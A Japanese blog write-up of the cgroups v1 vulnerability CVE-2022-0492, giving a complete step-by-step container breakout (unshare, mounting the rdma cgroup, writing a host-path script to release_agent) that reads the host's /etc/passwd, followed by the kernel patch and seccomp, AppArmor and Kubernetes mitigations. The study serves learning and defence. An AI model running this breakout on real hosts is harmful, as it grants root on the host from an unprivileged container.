CVE-2022-0492 調査まとめ
cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。
3/18 にイベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。
CVE-2022-0492 概要
CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。
本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。
release_agent について
cgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。
# ls /sys/fs/cgroup/ blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemd cpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unified
release_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。
この時実行されるリリースエージェントプログラムはホストの root 権限を持ちます。
リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。
pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。
# ls /sys/fs/cgroup/pids/ cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slice cgroup.procs default init.scope release_agent tasks # cat /sys/fs/cgroup/pids/release_agent ← 空のファイル # cat /sys/fs/cgroup/pids/notify_on_release 0
ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。
(参考:https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。
エクスプロイト
前提条件
本脆弱性は次の条件を全て満たす場合に影響があります。
- root ユーザーまたは、no_new_privsフラグなしでコンテナを起動している
- seccomp, AppArmor/SELinux がいずれも有効でない
- ホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)
各設定の確認方法↓
# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間 1 # cat /proc/self/status | grep Seccomp ← seccomp Seccomp: 0 Seccomp_filters: 0 # cat /proc/self/attr/current ← AppArmor docker-default (enforce)
要点
- コンテナから cgroups の release_agent に書き込みたい
- rdma サブシステムは root cgroup に所属しているが、readonly でマウントされている
- cgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要
- unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られる
- cgroup, mount ns も同時に作成することで cgroup をマウント可能に
- rdma cgroup をマウント すると release_agent に書き込み可能
- cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行
検証
脆弱な Kernel バージョンで CVE-2022-0492 を検証します。
今回は EC2 インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。
# uname -a Linux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
docker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。
自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。
root@ab988587a245:/# cat /proc/self/cgroup 13:misc:/ 12:rdma:/ ← rdma サブシステムは root cgroup 11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 0::/system.slice/containerd.service
これで rdma サブシステムが root cgroup に所属していることがわかりました。
しかしコンテナにマウントされている cgroup は readonly のため、release_agent は見えても書き込みはできません。
root@ab988587a245:/# mount | grep 'cgroup (ro' cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd) cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices) cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb) cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされている cgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc) root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/ total 0 -rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs -r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior -rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release -rw-r--r-- 1 root root 0 Mar 29 16:01 release_agent drwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice -rw-r--r-- 1 root root 0 Mar 15 01:40 tasks root@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラー
というわけで、cgroup を rw でマウントできれば良いことになります。
ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。
root@ab988587a245:/# apt update && apt install -y libcap2-bin root@ab988587a245:/# cat /proc/self/status | grep CapEff CapEff: 00000000a80425fb root@ab988587a245:/# capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt mount: /mnt: permission denied. ← マウントエラー
CAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。
立ち上げたプロセスを見ると、CAP_SYS_ADMIN 他全ての capabilities が付与されていることがわかります。
さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。 マウントさえできれば release_agent に書き込むことができます。
root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成 root@ab988587a245:/# cat /proc/self/status | grep CapEff CapEff: 000001ffffffffff root@ab988587a245:/# capsh --decode=000001ffffffffff 0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つ root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウント root@ab988587a245:/# ls /mnt cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks root@ab988587a245:/# mount | grep 'cgroup (rw' cgroup on /mnt type cgroup (rw,relatime,rdma)
ここまでで、コンテナ内から release_agent に書き込めるようになりました。
続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。 今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。
release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。
root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@ab988587a245:/# echo $host_path /var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパス root@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agent root@ab988587a245:/# echo '#!/bin/sh' > /cmd root@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmd root@ab988587a245:/# chmod a+x /cmd
最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。
child cgroup を作成し、その中にすぐに終了するプロセスを追加することでリリースエージェントプログラムを起動させます。
root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成 root@ab988587a245:/# ls /mnt/xx/ cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks root@ab988587a245:/# echo 1 > /mnt/xx/notify_on_release root@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加 root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されている root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin ...
修正パッチ
https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af
https://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp; + struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX); + /* + * Release agent gets called with all capabilities, + * require capabilities to set release agent. + */ + ctx = of->priv; + if ((ctx->ns->user_ns != &init_user_ns) || + !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN)) + return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);
修正後は上記検証手順での release_agent への書き込みはできません。 これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。
init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)
# uname -r 5.17.0-051700rc7-generic # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash root@a45e44c77da9:/# unshare -rmC bash root@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mnt root@a45e44c77da9:/# ls /mnt cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks root@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permitted
ただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。
引き続き非特権コンテナにする、seccomp や AppArmor/SELinux を設定する等の対策は必要です。
コンテナセキュリティ
コンテナセキュリティと本脆弱性の関係について簡単に見ていきます。
seccomp
seccomp はコンテナ内で実行できるシステムコールを制限します。
unshare システムコールをブロックするため、ns を作成する段階でエラーとなります。
# docker run --rm -it --security-opt apparmor=unconfined ubuntu bash root@fb3522b81478:/# cat /proc/self/status | grep Seccomp Seccomp: 2 Seccomp_filters: 1 root@fb3522b81478:/# unshare -rmC bash unshare: unshare failed: Operation not permitted
AppArmor (SELinux)
ファイル操作、プログラム実行、capabilities 等を制限します。
AppArmor を有効化したコンテナで確認したところ、mount ns の作成を制限しているようでした。
# docker run --rm -it --security-opt seccomp=unconfined ubuntu bash root@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce) root@46912ffebb2c:/# unshare -rmC bash unshare: cannot change root filesystem propagation: Permission denied
Kubernetes の場合
Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。
AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。 さらに seccomp は Pod のマニフェストにも設定しなければなりません。
また securityContext に適切な設定をすることも重要です。 allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。
EKS, GKE の場合
EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。 このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。
# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash root@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 10:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 9:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 8:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 7:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 6:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 5:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 4:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 3:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 2:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0 1:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。 (https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)
$ k run ubuntu --image ubuntu -- sleep 3600 pod/ubuntu created $ k exec -it ubuntu -- bash root@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce) root@ubuntu:/# unshare -rmC bash unshare: cannot change root filesystem propagation: Permission denied
以上のことから EKS, GKE では本脆弱性の影響はなさそうです。
さいごに
本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。
Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。
本記事が皆さんの学習の糧になれば幸いです。
参考リンク
CVE-2022-0492
https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/
https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/
https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
Linux
https://lwn.net/Articles/679786/
https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/
https://linuxhint.com/install-linux-kernel-ubuntu/
https://man7.org/linux/man-pages/man7/cgroups.7.html
https://blog.tiqwab.com/2021/11/13/docker-and-cgroups.html
https://en.wikipedia.org/wiki/Seccomp
https://en.wikipedia.org/wiki/Security-Enhanced_Linux
https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html
コンテナセキュリティ
https://container-security.dev/security/breakout-to-host.html